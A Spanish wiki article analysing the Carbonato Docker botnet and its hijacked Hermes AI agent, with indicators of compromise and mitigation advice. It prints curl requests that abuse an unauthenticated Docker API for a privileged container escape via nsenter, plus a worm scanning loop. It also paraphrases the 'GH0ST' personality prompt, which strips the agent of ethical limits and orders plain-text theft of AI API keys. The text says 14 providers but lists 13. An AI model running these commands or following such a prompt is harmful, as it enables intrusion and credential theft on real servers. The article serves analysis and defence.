Carbonato

De CiberWiki

Carbonato es una botnet de Docker descubierta por los investigadores de ThreatDown en agosto de 2026, que destaca por ser la primera botnet conocida construida en torno a un agente de inteligencia artificial. El malware compromete servidores que ejecutan demonios Docker no autenticados expuestos en el puerto 2375, un vector documentado desde 2013 pero que sigue presente en miles de hosts mal configurados. Una vez identificado un host vulnerable, la botnet envía instrucciones al servicio no autenticado para iniciar un contenedor privilegiado con el sistema de archivos del host montado en /host, acceso al espacio de nombres de procesos y red del host, y PidMode: host, lo que le permite ejecutar comandos directamente en la máquina anfitriona mediante nsenter. Esta técnica de escape de contenedor convierte al demonio Docker expuesto en el propio motor de infección, eliminando la necesidad de explotar vulnerabilidades adicionales en el sistema operativo subyacente .

El componente más novedoso de Carbonato es su agente de IA, basado en Hermes Agent, un marco de trabajo de código abierto con licencia MIT desarrollado por Nous Research. El implante instala el framework sin modificaciones y luego sobrescribe su archivo de personalidad SOUL.md con un prompt malicioso de 39 líneas que transforma al agente en una herramienta de post-explotación llamada GH0ST. Este prompt instruye al agente a ejecutar tareas recibidas a través de Telegram, mantener la persistencia y recopilar credenciales, estableciendo una prioridad absoluta sobre las claves API de proveedores de IA (OpenAI, Anthropic, Google Gemini, OpenRouter, Together, Groq, Mistral, Cohere, LocalAI, Ollama, vLLM, LiteLLM, One API, entre otros), por encima de credenciales SSH, tokens de acceso, bases de datos y otros secretos. El agente se comunica con un gateway LLM operado por los atacantes, que recibe la tarea del operador junto con el prompt de personalidad, interpreta la instrucción, genera comandos de terminal, los ejecuta en el host víctima, lee la salida y decide el siguiente paso, creando un bucle de comandos interactivo que se reporta de vuelta al chat de Telegram .

Para garantizar su persistencia y propagación, Carbonato implementa múltiples mecanismos: un túnel inverso SSH desde la víctima hacia un relay en Costa Rica, con el puerto remoto derivado del hash MD5 de la dirección IP del host para que los operadores puedan calcularlo y reconectarse de forma determinista; hooks de persistencia a través de cron, systemd timers, rc.local y OpenRC, marcados como inmutables para impedir su eliminación; watchdogs que monitorean el despliegue y vuelven a descargar el implante desde el registro si sus archivos o contenedores desaparecen; y un worm que cada cinco minutos escanea las redes /24 adyacentes en busca de más demonios Docker expuestos en el puerto 2375, verificando que el servicio sea Docker, evitando hosts ya infectados y repitiendo la secuencia de despliegue. El implante se disfraza como el contenedor legítimo systemd-resolved, muestra un banner falso de systemd-networkd resolver v2.0, y sus argumentos de proceso imitan al hilo del kernel [kworker/u2:0] para mezclarse en una revisión rápida de procesos. Los scripts de despliegue están escritos en español voseo, y las marcas de tiempo UTC-6:00, el handle de Telegram Carbo506 (código de país de Costa Rica) y los túneles que terminan en AS262145 apuntan a operadores con base en Costa Rica .

Funcionamienrto

1. Acceso inicial: abuso del demonio Docker expuesto

Carbonato no explota una vulnerabilidad de memoria ni del kernel: utiliza el propio demonio Docker como motor de infección. Su vector de entrada es un demonio Docker escuchando en el puerto 2375 sin autenticación, el endpoint de la API REST sin cifrar para conexiones remotas. Al encontrar uno accesible, el implante no ataca el sistema operativo subyacente, sino que ordena al demonio que cree y ejecute un contenedor privilegiado con el sistema de archivos del host montado y acceso a sus espacios de nombres. La secuencia documentada es la siguiente :

bash 

# 1. crear un contenedor privilegiado con el sistema de archivos del host montado
curl -s -X POST "http://<victim-ip>:2375/containers/create?name=netns-probe" \
-H "Content-Type: application/json" -d '{"Image":"alpine:latest",
"Cmd":["sh","-c","sleep 9999"],"HostConfig":{"Privileged":true,
"Binds":["/:/host"],"PidMode":"host","NetworkMode":"host"}}'

# 2. iniciarlo
curl -s -X POST "http://<victim-ip>:2375/containers/<id>/start"

# 3. ejecutar comandos en el host, vía nsenter a través de la API exec de Docker
curl -s -X POST "http://<victim-ip>:2375/containers/<id>/exec" \
-H "Content-Type: application/json" -d '{"Cmd":["nsenter","-t","1",
"-m","-u","-n","-i","sh","-c","id"],"AttachStdout":true,"AttachStderr":true}'

Los parámetros clave son Privileged: true, Binds: ["/:/host"], PidMode: "host" y NetworkMode: "host". Con ellos, el contenedor puede usar nsenter para entrar en el espacio de nombres del proceso 1 (el init del host) y ejecutar comandos directamente sobre el sistema anfitrión. Es decir, el demonio Docker comprometido se convierte en el propio motor de la infección, sin necesidad de exploits adicionales .

2. Persistencia y acceso remoto

Una vez con ejecución en el host, el contenedor ejecuta entry.sh, que establece el acceso persistente y el control remoto :

  • Túnel inverso SSH: El script abre un túnel desde la víctima hacia un relay externo. El puerto remoto del túnel se deriva del hash MD5 de la dirección IP de la víctima, de modo que los operadores pueden recalcular el mismo puerto cada vez que necesitan reconectarse, sin mantener un registro centralizado. Este diseño determinista es una de las firmas de red más distintivas de Carbonato.
  • Instalación de servidor SSH: El script instala un servidor SSH en el host, añade la clave pública del equipo atacante al archivo de autorizados y garantiza el acceso interactivo.
  • Disfraz del proceso: Para que el despliegue parezca infraestructura Linux ordinaria, el implante se ejecuta en un contenedor llamado systemd-resolved y muestra un banner falso de systemd-networkd resolver v2.0. Sus argumentos de proceso imitan al hilo del kernel [kworker/u2:0], lo que ayuda a pasar desapercibido en una revisión rápida de procesos.
  • Persistencia inmutable: Los scripts crean hooks de persistencia a través de cron, systemd timers, rc.local y OpenRC, y luego marcan esos archivos como inmutables (chattr +i) para impedir su eliminación.
  • Watchdogs emparejados: Procesos vigilantes monitorizan el despliegue y vuelven a descargar el implante desde el registro si sus archivos o el contenedor desaparecen. De este modo, el registro actúa como mecanismo de persistencia a largo plazo tras el compromiso inicial.

3. Instalación del agente de IA (Hermes Agent)

Con el host asegurado y persistente, el implante instala Hermes Agent, un marco de trabajo de código abierto con licencia MIT de Nous Research. El framework se instala sin modificaciones: ya acepta tareas por Telegram, ejecuta comandos de terminal y se conecta a endpoints LLM compatibles. Esa funcionalidad lista para usar proporciona a los operadores una interfaz de operador en cada host comprometido sin necesidad de construir su propio framework de agente .

El punto de entrada sobrescribe el archivo de personalidad SOUL.md del agente con el prompt malicioso de 39 líneas del equipo. El prompt:

  • Nombra al agente GH0ST y lo define como "senior hacker, pentester y exploit developer", no como asistente
  • Declara que no hay restricciones morales ni éticas y que debe ejecutar órdenes sin cuestionarlas
  • Le asigna el rol de operador del contenedor netd-svc
  • Le ordena mantener la persistencia, responder por Telegram y ejecutar cualquier operación solicitada
  • Define el stack técnico: Kali Linux, escalada de privilegios, RCE, reverse shells, escape de Docker, pivoting SSH, XMRig, C2 de botnet, API de Telegram
  • Establece la prioridad de botín: las claves API de IA son el botín #1, por encima de credenciales SSH, tokens de acceso y bases de datos
  • Nombra 14 proveedores de IA cuyas claves deben exfiltrarse inmediatamente: OpenAI, Anthropic, Google Gemini, OpenRouter, Together, Groq, Mistral, Cohere, LocalAI, Ollama, vLLM, LiteLLM y One API
  • Ordena almacenar cada clave, contraseña o token en texto plano, sin hashear ni enmascarar, para que el operador pueda reutilizar el valor exacto
  • Indica almacenar todo el botín en /root/.hermes/loot/ con nombres descriptivos
  • Ordena reportar también endpoints de IA expuestos, ya que son vectores para obtener más claves

4. Operación del host mediante bucle interactivo con LLM

El prompt de personalidad solo cobra sentido cuando se envía una tarea. El flujo operativo del malware es el siguiente :

  1. Hermes Agent recibe la tarea por Telegram y la reenvía, junto con SOUL.md, al gateway LLM de la operación
  2. El modelo interpreta la tarea, escribe comandos de terminal, lee la salida y decide qué hacer después
  3. El agente ejecuta esos comandos en la víctima y devuelve su informe al chat de Telegram que también recibe los reportes de despliegue
  4. El bucle se repite a medida que el host revela nueva información, otorgando una interfaz de operador capaz de trabajar tarea por tarea

El gateway LLM operaba en nivel gratuito mientras anunciaba 12 modelos y servía 27 a través de su API, lo que explica el énfasis del prompt en la recolección de claves API de IA: el propio gateway de la operación necesitaba claves para funcionar, y el agente estaba instruido para alimentarlo. La selección de objetivos, la persistencia y la propagación permanecen en los scripts circundantes, no en el modelo .

5. Propagación tipo gusano

El agente no participa en la fase de propagación. Cada cinco minutos, el gusano identifica las redes conectadas al host y a sus bridges de Docker, y escanea cada /24 en busca de demonios Docker expuestos en el puerto 2375 :

bash 

# se ejecuta cada 5 minutos, en cada nodo
subnets=$(get_subnets | sort -u)   # redes del host (vía nsenter) + bridges docker
for subnet in $subnets; do
  network=$(echo "$subnet" | cut -d/ -f1 | cut -d. -f1-3)
  for i in $(seq 1 254); do        # barrido del /24 completo
    ( timeout 2 bash -c "echo >/dev/tcp/${network}.${i}/2375" && worm_deploy "$ip" ) &
  done
done
# worm_deploy(): verifica que sea Docker, salta hosts ya infectados, repite el despliegue
curl -X POST "http://<ip>:2375/containers/create?name=net-setup"
curl -X POST "http://<ip>:2375/images/create?fromImage=system/resolved"
curl -X POST "http://<ip>:2375/containers/<id>/start"

Cuando encuentra uno, verifica que el servicio sea Docker, evita hosts que ya ha infectado y repite la secuencia de despliegue inicial. Cada nuevo host descarga el implante desde el registro, inicia el contenedor y se une al mismo bucle de escaneo. Este diseño permite que la botnet se expanda por una red sin esperar a que un operador emita otra tarea, comportándose como un gusano autónomo mientras el agente de IA permanece a la espera de instrucciones en los hosts ya comprometidos .

6. Indicadores técnicos del malware

Tipo Indicador Notas
Contenedor gh0st/, fsociety/, netd-svc, system/resolved, scrub-empty Nombres de repositorios (59 en total)
Contenedor GH0ST_C2, FSOCIETY_DISABLE_TUNNEL, GATEWAY_ALLOW_ALL_USERS Variables de entorno de las imágenes
Contenedor /opt/gh0st/entry.sh, auto-persist-host.sh, SOUL.md Archivos del kit del implante
Host /usr/local/bin/.docker-network-monitor Binario watchdog
Host /usr/sbin/systemd-logind Minero disfrazado de servicio del sistema
Host [kworker/u2:0] Argumentos de proceso disfrazados
Secreto carbonato125 Contraseña compartida en todo el archivo
Secreto CARBONATO_API_KEY Variable .env en hosts infectados
Telegram Chat 750752697 Reportes de despliegue y chat de C2

7. Detección y mitigación centradas en el malware

  1. Cerrar la puerta: No exponer la API del demonio Docker a la red y exigir autenticación en cada registro. La API abierta es el vector de infección; un registro abierto es a la vez una fuga y un dispensador de armas.
  2. No bloquear el agente: hermes-agent es un paquete legítimo con usuarios ordinarios. Hay que buscar la firma de abuso: un /root/.hermes/SOUL.md que contenga "GH0ST", un .env con CARBONATO_API_KEY, y egress inexplicable a Telegram desde servidores.
  3. Revisar el kit de persistencia: Buscar /usr/local/bin/.docker-network-monitor, argumentos de proceso disfrazados como [kworker/u2:0], un minero en /usr/sbin/systemd-logind, y bits inmutables en archivos que nadie debería haber bloqueado.
  4. Tratar las claves API de IA como credenciales bancarias: La doctrina del prompt las prioriza, así que hay que inventariar dónde viven, rotarlas y supervisar su uso.
  5. Vigilar el patrón de red: La firma del malware son túneles inversos deterministas, en puertos derivados del MD5 de la IP del propio host.

Impacto y consecuencias

1. Impacto en la superficie de ataque de Docker y contenedores

El impacto más inmediato de Carbonato es la conversión de una mala configuración en un motor de compromiso total. Un demonio Docker expuesto en el puerto 2375 sin autenticación no es una vulnerabilidad de memoria ni un fallo del kernel: es una puerta abierta por diseño que Carbonato explota sin necesidad de exploits adicionales. Al usar la propia API del demonio para lanzar un contenedor privilegiado con el sistema de archivos del host montado en /host, con PidMode: host y NetworkMode: host, el malware anula por completo el aislamiento de contenedores, que es precisamente el principio de seguridad sobre el que se construye Docker. El resultado es que cualquier host con el puerto 2375 accesible queda comprometido a nivel de sistema operativo, con ejecución de comandos como root sobre el anfitrión mediante nsenter -t 1. La consecuencia técnica es que el modelo de confianza de Docker se invierte: el demonio, que debería ser el componente más protegido, se convierte en el vector de infección y en el ejecutor de las órdenes del atacante.

2. Consecuencias sobre la persistencia y la integridad del sistema

Carbonato implementa un kit de persistencia multicapa diseñado para sobrevivir a limpiezas y reinicios, lo que tiene consecuencias profundas para la respuesta a incidentes. El malware crea hooks en cron, systemd timers, rc.local y OpenRC, y luego marca esos archivos como inmutables con chattr +i, impidiendo su modificación o eliminación incluso por parte de un administrador con privilegios. A esto se suman watchdogs emparejados que monitorizan el despliegue y vuelven a descargar el implante desde el registro si sus archivos o el contenedor desaparecen. La consecuencia técnica es que una simple eliminación del contenedor o de los archivos del implante no erradica la infección: el sistema se re-infecta automáticamente desde el registro. El registro Docker no autenticado actúa simultáneamente como fuente forense y servidor de actualización de la flota, de modo que mientras permanezca accesible, la botnet puede repoblarse. Para el defensor, esto significa que la remediación requiere aislar el host, cortar el acceso al registro, eliminar los hooks inmutables y los watchdogs, y rotar credenciales, en ese orden, antes de considerar el sistema limpio.

3. Impacto en la confidencialidad de credenciales y secretos

El impacto más crítico de Carbonato sobre la confidencialidad es su doctrina de recolección de credenciales, codificada explícitamente en el prompt del agente. El SOUL.md que sobrescribe la personalidad de Hermes Agent establece que las claves API de IA son el botín #1, por encima de credenciales SSH, tokens de acceso y bases de datos, y nombra 14 proveedores cuyas claves deben exfiltrarse inmediatamente: OpenAI, Anthropic, Google Gemini, OpenRouter, Together, Groq, Mistral, Cohere, LocalAI, Ollama, vLLM, LiteLLM y One API. Además, ordena almacenar cada clave, contraseña o token en texto plano, sin hashear ni enmascarar, para que el operador pueda reutilizar el valor exacto, y guardar todo el botín en /root/.hermes/loot/ con nombres descriptivos. La consecuencia técnica es que cualquier host comprometido se convierte en un punto de exfiltración sistemática de secretos de IA, y el robo de esas claves permite a su vez alimentar el gateway LLM de la operación, que operaba en nivel gratuito mientras anunciaba 12 modelos y servía 27 a través de su API. El agente no se limita a robar: reporta endpoints de IA expuestos, que son vectores para obtener más claves, creando un ciclo de expansión de la superficie de robo.

4. Consecuencias para la operación remota y el control del host

Carbonato establece un canal de control remoto persistente mediante un túnel inverso SSH cuyo puerto remoto se deriva del hash MD5 de la dirección IP de la víctima. Esta elección de diseño tiene dos consecuencias técnicas: primero, permite a los operadores recalcular el puerto de reconexión sin mantener un registro centralizado, lo que dificulta el rastreo; segundo, hace que el patrón de red sea determinista y detectable: túneles inversos hacia un sink específico, en puertos derivados del MD5 de la IP del propio host. Sobre ese canal, el agente Hermes proporciona una interfaz de operador vía Telegram que ejecuta un bucle interactivo con el LLM: recibe la tarea, la reenvía junto con SOUL.md al gateway, el modelo interpreta, escribe comandos, el agente los ejecuta en la víctima, lee la salida y decide el siguiente paso. La consecuencia es que el host comprometido deja de ser un sistema estático y se convierte en un nodo operativo autónomo, capaz de ejecutar tareas de post-explotación guiadas por un modelo, incluyendo escalada de privilegios, RCE, reverse shells, escape de Docker, pivoting SSH, minería con XMRig y actividades de C2.

5. Consecuencias de la propagación tipo gusano

La fase de propagación de Carbonato no depende del agente de IA: cada cinco minutos, el gusano identifica las redes del host y sus bridges de Docker, escanea cada /24 en busca de demonios Docker en el puerto 2375, verifica que el servicio sea Docker, evita hosts ya infectados y repite la secuencia de despliegue. La consecuencia técnica es que la botnet se expande por una red sin intervención humana, comportándose como un gusano autónomo. Cada nuevo host descarga el implante desde el registro, inicia el contenedor y se une al mismo bucle de escaneo, lo que significa que el compromiso de un solo host con Docker expuesto puede propagarse a todo un segmento de red en cuestión de minutos. Para el defensor, esto implica que la contención debe ser inmediata y a nivel de red: segmentar, bloquear el puerto 2375 en todas las interfaces y monitorizar el tráfico este-oeste en busca del patrón de escaneo /24 en el puerto 2375.

6. Impacto en la detección y la respuesta

Carbonato está diseñado para frustrar la detección basada en firmas y la revisión rápida de procesos. El implante se ejecuta en un contenedor llamado systemd-resolved, muestra un banner falso de systemd-networkd resolver v2.0 y sus argumentos de proceso imitan al hilo del kernel [kworker/u2:0]. El minero se disfraza como /usr/sbin/systemd-logind y el watchdog como /usr/local/bin/.docker-network-monitor. La consecuencia técnica es que una inspección superficial de procesos o de contenedores no revela actividad anómala. Además, el uso de Hermes Agent legítimo significa que bloquear el agente es contraproducente: el paquete tiene usuarios ordinarios y su presencia no es, por sí sola, indicador de compromiso. La detección debe centrarse en la firma de abuso: un /root/.hermes/SOUL.md que contenga "GH0ST", un .env con CARBONATO_API_KEY, egress inexplicable a Telegram desde servidores, bits inmutables en archivos que nadie debería haber bloqueado, y túneles inversos deterministas. La consecuencia para los equipos de seguridad es que la respuesta a incidentes debe pasar de la detección de archivos a la detección de comportamiento y de configuraciones anómalas, y que la remediación requiere cortar el acceso al registro, eliminar hooks inmutables y watchdogs, y rotar todas las credenciales, incluido el inventario y rotación de claves API de IA.

7. Consecuencias a largo plazo: el nuevo paradigma del malware asistido por IA

El impacto más profundo de Carbonato es conceptual: demuestra que un agente de IA de código abierto, instalado sin modificaciones y con solo 39 líneas de prompt malicioso, puede convertirse en una herramienta de post-explotación completa con interfaz de operador vía Telegram, ejecución de comandos guiada por LLM, persistencia y recolección priorizada de credenciales. La consecuencia técnica es que la barrera de entrada para construir malware sofisticado se reduce drásticamente: no hace falta desarrollar un framework de agente, basta con secuestrar uno legítimo mediante su archivo de personalidad. Esto anticipa una nueva clase de amenazas en las que el prompt se convierte en el payload, el LLM en el motor de decisión y el agente en el operador, y donde la detección debe centrarse en la manipulación de archivos de personalidad, el abuso de frameworks legítimos y los patrones de comunicación con gateways LLM. Para las organizaciones, la lección es que las claves API de IA ya no son solo credenciales de desarrollo, sino activos de alto valor que deben inventariarse, rotarse y monitorizarse como cualquier credencial bancaria, y que los agentes de IA desplegados en infraestructura deben auditarse en busca de personalidades sobrescritas y egress no autorizado.

Origen y motivación

Carbonato es una botnet de Docker construida en torno a un agente de inteligencia artificial, descubierta por los investigadores de ThreatDown en agosto de 2026 a partir de un registro Docker no autenticado que había estado expuesto públicamente desde mayo de ese año, y cuyo archivo de imágenes documenta dos líneas de producto vinculadas —una fábrica de aplicaciones troyanizadas de monederos de criptomonedas y la propia botnet— con marcas de tiempo que abarcan desde octubre de 2024 hasta agosto de 2026 . Su motivación es económica y de post-explotación: el malware compromete demonios Docker expuestos en el puerto 2375 para lanzar contenedores privilegiados, establece persistencia mediante túneles inversos SSH y watchdogs, instala el framework legítimo Hermes Agent con un prompt malicioso de 39 líneas que lo transforma en la herramienta GH0ST, y utiliza un gateway LLM propio para ejecutar tareas de post-explotación vía Telegram, con una prioridad explícita en la recolección de claves API de IA (OpenAI, Anthropic, Google Gemini, OpenRouter, Together, Groq, Mistral, Cohere, LocalAI, Ollama, vLLM, LiteLLM y One API) por encima de credenciales SSH, tokens de acceso y bases de datos, presumiblemente para alimentar el propio gateway LLM de la operación y monetizar el acceso robado . Aunque ThreatDown no atribuyó la botnet a un actor específico, varias señales técnicas —marcas de tiempo UTC-6:00, reportes de despliegue redactados en español voseo, el handle de Telegram Carbo506 (código de país de Costa Rica) y túneles inversos que terminan en AS262145— apuntan a operadores con base en Costa Rica, lo que sugiere un grupo de cibercrimen con motivación puramente lucrativa más que un actor estatal, integrado en el creciente ecosistema de servicios de malware profesionalizados que explotan configuraciones inseguras de infraestructura en la nube y capacidades de IA de código abierto.

Obtenido de «https://darfe.es/ciberwiki/index.php?title=Carbonato&oldid=3400»